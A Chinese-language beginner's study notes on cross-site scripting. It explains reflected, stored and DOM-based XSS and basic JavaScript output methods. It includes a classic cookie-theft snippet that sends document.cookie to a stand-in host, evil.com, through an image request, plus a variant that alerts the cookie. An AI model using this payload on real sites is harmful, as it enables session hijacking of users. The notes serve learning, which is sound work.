XSS学习笔记

(在学XSS的时候发现还是要有一些其他语言的基础的,比如JavaScript。因为这些都是初学,所以本篇文章会混杂许多东西,看着有些乱,学过的朋友帮我找错呗。对于有些知识,我没有按照给出的顺序一 一解释,而是选取其中某些我觉得重要的。)
这只是对于其他文章的一些补充,并没有完整的知识!!!
基本是对于这篇文章学习时不理解的地方:https://www.cnblogs.com/leestar54/p/5798937.html

XSS分为三种类型
1.反射型XSS
发出请求时,XSS代码出现在URL中,作为输入,提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以叫做反射型XSS。

2.存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当作正常的HTML与JavaScript解析执行,然后就出发了XSS攻击。

3.DOM XSS
DOM XSS和反射型、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS考的时浏览器端的DOM解析,完全是客户端的事情。

攻击时:img标签是自动触发而受到攻击的,p标签是引诱触发而受到攻击的,而iframe则是广告植入攻击。
所使用的语言可分为JavaScript,flash,和其他富客户端语言。

一.
JavaScript:

JavaScript 本身没有任何输出的函数,但是可以通过不同的方式来输出数据:
1.使用 window.alert() 弹出警告框。
2.使用 document.write() 方法将内容写到 HTML 文档中。
3.使用 innerHTML 写入到 HTML 元素。
4.使用 console.log() 写入到浏览器的控制台。

写到控制台:
(如果浏览器支持调试,可以使用console()方法在浏览器中显示JavaScript值)
控制台中可以不用添加<script>标签。
感觉这个很简单但是很重要。在学习时不论是看其他人的文章还是书本、官网,大佬们都是直接给出代码段。
例如最简单的窃取cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
当时不知道要怎么实现这个代码段,后来看js教程的时候发现。
使用控制台console在这里插入图片描述
将代码输入到下面输入框中在这里插入图片描述
如果觉得看不懂的话就修改一下代码:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+alert(document.cookie); document.body.appendChild(img);
在这里插入图片描述
这样就能找到cookie了。


版权声明:本文为weixin_43733035原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。